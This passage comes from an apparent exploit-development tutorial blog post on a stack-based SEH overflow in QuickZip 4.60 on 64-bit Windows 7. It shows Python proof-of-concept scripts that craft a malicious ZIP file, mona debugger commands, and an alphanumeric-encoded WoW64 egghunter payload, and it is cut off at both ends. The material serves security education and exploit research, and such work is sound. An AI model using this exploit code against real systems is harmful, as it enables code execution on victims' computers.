<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
</pre></td><td class='code'><pre><code class='python'><span class='line'><span class="c">#!/usr/bin/python</span>
</span><span class='line'>
</span><span class='line'><span class="n">header_1</span> <span class="o">=</span> <span class="p">(</span><span class="s">"</span><span class="se">\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00</span><span class="s">"</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="n">header_2</span> <span class="o">=</span> <span class="p">(</span><span class="s">"</span><span class="se">\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x24\x00\x00\x00\x00\x00\x00\x00</span><span class="s">"</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="n">header_3</span> <span class="o">=</span> <span class="p">(</span><span class="s">"</span><span class="se">\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00</span><span class="s">"</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="k">print</span> <span class="s">"[+] Building PoC.."</span>
</span><span class='line'>
</span><span class='line'><span class="n">max_size</span> <span class="o">=</span> <span class="mi">4064</span>
</span><span class='line'><span class="n">nseh_offset</span> <span class="o">=</span> <span class="mi">292</span>
</span><span class='line'>
</span><span class='line'><span class="n">payload</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="n">nseh_offset</span> <span class="c"># padding for nSEH</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">"BBBB"</span> <span class="c"># nSEH</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">"CCCC"</span> <span class="c"># SEH</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="p">(</span><span class="n">max_size</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span> <span class="c"># padding for the rest of payload</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">".txt"</span>
</span><span class='line'>
</span><span class='line'><span class="k">print</span> <span class="s">"[+] Length = "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
</span><span class='line'>
</span><span class='line'><span class="n">exploit</span> <span class="o">=</span> <span class="n">header_1</span> <span class="o">+</span> <span class="n">payload</span> <span class="o">+</span> <span class="n">header_2</span> <span class="o">+</span> <span class="n">payload</span> <span class="o">+</span> <span class="n">header_3</span>
</span><span class='line'>
</span><span class='line'><span class="n">mefile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'cst.zip'</span><span class="p">,</span><span class="s">'w'</span><span class="p">);</span>
</span><span class='line'><span class="n">mefile</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">exploit</span><span class="p">);</span>
</span><span class='line'><span class="n">mefile</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span><span class='line'>
</span><span class='line'><span class="k">print</span> <span class="s">"[+] Exploit complete!"</span>
</span></code></pre></td></tr></table></div></figure>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/7.SEH%20properly%20overwritten.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/7.SEH%20properly%20overwritten.png" alt="image" /></a></p>
<p>Great, we have control of the SEH! Let’s pass exception to the program (<code>SHIFT + F9</code>) and investigate further what happens.</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/8.SEH%20pop-pop-ret%20STACK%20view.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/8.SEH%20pop-pop-ret%20STACK%20view.png" alt="image" /></a></p>
<p>Of course another exception triggered, since <code>43434343</code> is an invalid memory address for this program, but let’s see what happens on the stack - typically for SEH overflows, we’ll need invoke a set of <em>POP-POP-RET</em> instructions to return to our buffer.</p>
<p>It’ll be easy to find such instructions with <code>mona</code>, but first, we have to know what characters are we actually allowed to use. And that’s where the problems start…</p>
<h2>Badchars</h2>
<p>Well, in summary, it’s most of them. Why? Because our overflow is on the filename parameter and filenames are quite restricted - generally ASCII printable characters only.</p>
<p>Since it would take way too long to actually manually go through it with mona and try to find all bad chars, I just assumed that I can only use pretty much entire ASCII table (characters up to 0x7F) except <code>0x00</code>, <code>0x0a</code> and <code>0x0d</code> (<code>NULL</code> byte, new line and carriage-return respectively).</p>
<p>This assumption may make it more difficult than it really is (since I may be avoiding characters that are actually OK to use) or may cause me even more problems later if some of the characters from my assumed range are, in fact, incorrect.</p>
<p>I don’t really like making assumptions like this, but for the sake of this exercise, let’s make an exception.</p>
<p>I will just need to remember to be careful and if something doesn’t work, to double check bad chars once again. A bit risky, but well, bring it on!</p>
<h2>POP-POP-RET</h2>
<p>Let’s find an exploit-friendly address of a <em>POP-POP-RET</em> instructions with mona:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>!mona seh</span></code></pre></td></tr></table></div></figure>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/9.pop-pop-ret-mona.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/9.pop-pop-ret-mona.png" alt="image" /></a></p>
<p>A lot of results are found (7909!), but the highlighted result looks promising - consists of all aphanumerical characters and is located in the <code>QuickZip.exe</code> binary itself, hopefully making it more cross-platform friendly as we don’t need to rely on specific operating system DLLs.</p>
<p>The only problem here is the <code>0x00</code> byte, however, because of the address space of the program, every address starts with <code>0x00</code>… let’s try and see if it’ll actually break our exploit.</p>
<p>Update the PoC exploit replacing <code>CCCC</code> currently representing SEH with <code>\x33\x28\x42\x00</code>, trigger the crash once again and investigate SEH chain.</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/10.SEH%20chain%20with%20pop-pop-ret.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/10.SEH%20chain%20with%20pop-pop-ret.png" alt="image" /></a></p>
<p>Great, looks like our address wasn’t scrambled and looks like we expected it to look. Set the breakpoint at it (<code>F2</code>) and press <code>SHIFT + F9</code> to pass the control to the program.</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/11.pop-pop-ret%20instructions.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/11.pop-pop-ret%20instructions.png" alt="image" /></a></p>
<p>As you can see, we’re redirected to <em>POP-POP-RET</em> instructions, let’s step through them with <code>F8</code> and stop after <code>RETN 4</code> instruction.</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/12.after%20pop%20pop%20ret.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/12.after%20pop%20pop%20ret.png" alt="image" /></a></p>
<p>Awesome, we have landed back in our payload… but there’s a problem. Because of the <code>NULL</code> byte, everything after SEH chain got cut off, not leaving us much space to do anything at all.</p>
<h2>Where did the shellcode go?!</h2>
<p>OK, let’s analyse the situation and see where are we at.</p>
<p>We get our crash and we control SEH, great! The problem is that we’re limited to a very restricted set of characters to use with our payload and, because we had to use address with <code>NULL</code> byte to invoke <em>POP-POP-RET</em> instructions, signifcant portion of our payload got cut off and the remaining space for our shellcode is not very big at all.</p>
<p>But how big is it exactly? Remember that we still have the padding we used at the beginning of our payload to get to SEH:</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/13.before%20landing%20in%20SEH.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/13.before%20landing%20in%20SEH.png" alt="image" /></a></p>
<p>So how much space do we have? Exactly <strong>292</strong> bytes. Unfortunately it is not enough for any useful shellcode that would also need to be encoded to only contain ASCII printable characters.</p>
<p>This sounds like something that could be potentially solved with an egghunter!</p>
<p><strong>Egghunter</strong> is simply a bunch of instructions that look for a specific, known sequence of bytes (an “egg”) in the memory space of the program and, once it’s found, redirects exection to that area.</p>
<p>This way, we don’t really need to worry where our shellcode ends up, we can just call egghunter routine and it’ll find it for us!</p>
<p>Sounds great, but the next question is, does the ‘cut off’ portion of the payload actually ends up anywhere in the memory? Let’s find out.</p>
<p>Let’s generate pattern of <strong>3764</strong> unique characters (to fill in our payload after the <code>NULL</code> byte) and replace existing A’s with it.</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>!mona pc 3764</span></code></pre></td></tr></table></div></figure>
<p>Let’s trigger the crash and, as we get our first exception, do not pass the exception to the program, but instead invoke the following command to search for the previously generated pattern in memory:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>!mona findmsp</span></code></pre></td></tr></table></div></figure>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/14.rest%20of%20payload%20in%20memory.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/14.rest%20of%20payload%20in%20memory.png" alt="image" /></a></p>
<p>Fantastic! The entire ‘cut off’ portion of the payload is still in the memory, so we should be able to successfully use the egghunter to get to our shellcode.</p>
<h2>Egghunter</h2>
<p>So now we know that we should be able to use an egghunter to get to our shellcode, but we only have <strong>292</strong> bytes at our disposal. We can actually do quite a lot with 292 bytes, however, we need to remember that we can only use very limited character set.</p>
<p>Let’s try to encode the egghunter with metasploit’s <code>x86/alpha_mixed</code> encoder and see how much space we’ll have left after this.</p>
<p>Firstly, let’s generate egghunter payload. Remember that we’re dealing with 64-bit OS, so we need to use appropriate egghunter routine as well (a lot more detailed information on it can be found on <a href="https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/">https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/</a>):</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>!mona egghunter -wow64</span></code></pre></td></tr></table></div></figure>
<p>Copy the generated bytes into a text file and convert it into a binary file using <code>xxd</code>:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'># cat egghunter-wow64.txt
</span><span class='line'>31db53535353b3c06681caff0f42526a265833c98bd464ff135e5a3c0574e9b8773030748bfaaf75e4af75e1ffe7
</span><span class='line'># cat egghunter-wow64.txt | xxd -r -p > egghunter-wow64.bin</span></code></pre></td></tr></table></div></figure>
<p>Now, we need to use an encoder to ensure only ASCII printable characters are actually used.</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
</pre></td><td class='code'><pre><code class=''><span class='line'># msfencode -e x86/alpha_mixed bufferregister=eax -i egghunter-wow64.bin
</span><span class='line'>[*] x86/alpha_mixed succeeded with size 146 (iteration=1)
</span><span class='line'>
</span><span class='line'>buf =
</span><span class='line'>"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" +
</span><span class='line'>"\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30" +
</span><span class='line'>"\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42" +
</span><span class='line'>"\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x66\x51\x49\x4b" +
</span><span class='line'>"\x52\x73\x53\x63\x62\x73\x36\x33\x4e\x53\x6f\x30\x75\x36" +
</span><span class='line'>"\x6d\x51\x59\x5a\x49\x6f\x36\x6f\x72\x62\x71\x42\x42\x4a" +
</span><span class='line'>"\x66\x46\x56\x38\x74\x73\x78\x49\x4c\x4b\x4b\x64\x61\x74" +
</span><span class='line'>"\x49\x6f\x47\x63\x31\x4e\x50\x5a\x77\x4c\x77\x75\x53\x44" +
</span><span class='line'>"\x49\x79\x38\x38\x52\x57\x36\x50\x50\x30\x33\x44\x6c\x4b" +
</span><span class='line'>"\x59\x6a\x4e\x4f\x32\x55\x38\x64\x4e\x4f\x70\x75\x6b\x51" +
</span><span class='line'>"\x6b\x4f\x79\x77\x41\x41"</span></code></pre></td></tr></table></div></figure>
<p><em>Note:</em> I have used <code>bufferedregister=eax</code> option. The reason being is that the encoder needs to find where it is in the memory to be able to carry on with decoding the payload. Originally, the routines responsible for doing this are not in the ASCII printable set and therefore would be breaking our payload.</p>
<p>Specifying <code>bufferregister</code> option basically tells the encoder not to worry about finding its own place in memory as we’ll do it beforehand and we’ll put its address in the EAX register. This way, our encoded egghunter is purely ASCII characters only (more information on generating alphanumeric shellcode can be found <a href="https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/">here</a>).</p>
<p>Let’s update our PoC exploit to reflect what we have done so far.</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
</pre></td><td class='code'><pre><code class='python'><span class='line'><span class="c">#!/usr/bin/python</span>
</span><span class='line'>
</span><span class='line'><span class="n">header_1</span> <span class="o">=</span> <span class="p">(</span><span class="s">"</span><span class="se">\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00</span><span class="s">"</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="n">header_2</span> <span class="o">=</span> <span class="p">(</span><span class="s">"</span><span class="se">\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x24\x00\x00\x00\x00\x00\x00\x00</span><span class="s">"</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="n">header_3</span> <span class="o">=</span> <span class="p">(</span><span class="s">"</span><span class="se">\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00</span><span class="s">"</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="k">print</span> <span class="s">"[+] Building PoC.."</span>
</span><span class='line'>
</span><span class='line'><span class="n">max_size</span> <span class="o">=</span> <span class="mi">4064</span>
</span><span class='line'><span class="n">nseh_offset</span> <span class="o">=</span> <span class="mi">292</span>
</span><span class='line'>
</span><span class='line'><span class="c"># msfencode -e x86/alpha_mixed bufferregister=eax -i egghunter-wow64.bin</span>
</span><span class='line'><span class="c"># [*] x86/alpha_mixed succeeded with size 146 (iteration=1)</span>
</span><span class='line'><span class="n">egghunter</span> <span class="o">=</span> <span class="p">(</span><span class="s">"</span><span class="se">\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x66\x51\x49\x4b</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x52\x73\x53\x63\x62\x73\x36\x33\x4e\x53\x6f\x30\x75\x36</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x6d\x51\x59\x5a\x49\x6f\x36\x6f\x72\x62\x71\x42\x42\x4a</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x66\x46\x56\x38\x74\x73\x78\x49\x4c\x4b\x4b\x64\x61\x74</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x49\x6f\x47\x63\x31\x4e\x50\x5a\x77\x4c\x77\x75\x53\x44</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x49\x79\x38\x38\x52\x57\x36\x50\x50\x30\x33\x44\x6c\x4b</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x59\x6a\x4e\x4f\x32\x55\x38\x64\x4e\x4f\x70\x75\x6b\x51</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x6b\x4f\x79\x77\x41\x41</span><span class="s">"</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="n">payload</span> <span class="o">=</span> <span class="n">egghunter</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="p">(</span><span class="n">nseh_offset</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span> <span class="c"># padding for nSEH</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">"BBBB"</span> <span class="c"># nSEH</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x33\x28\x42\x00</span><span class="s">"</span> <span class="c"># SEH</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg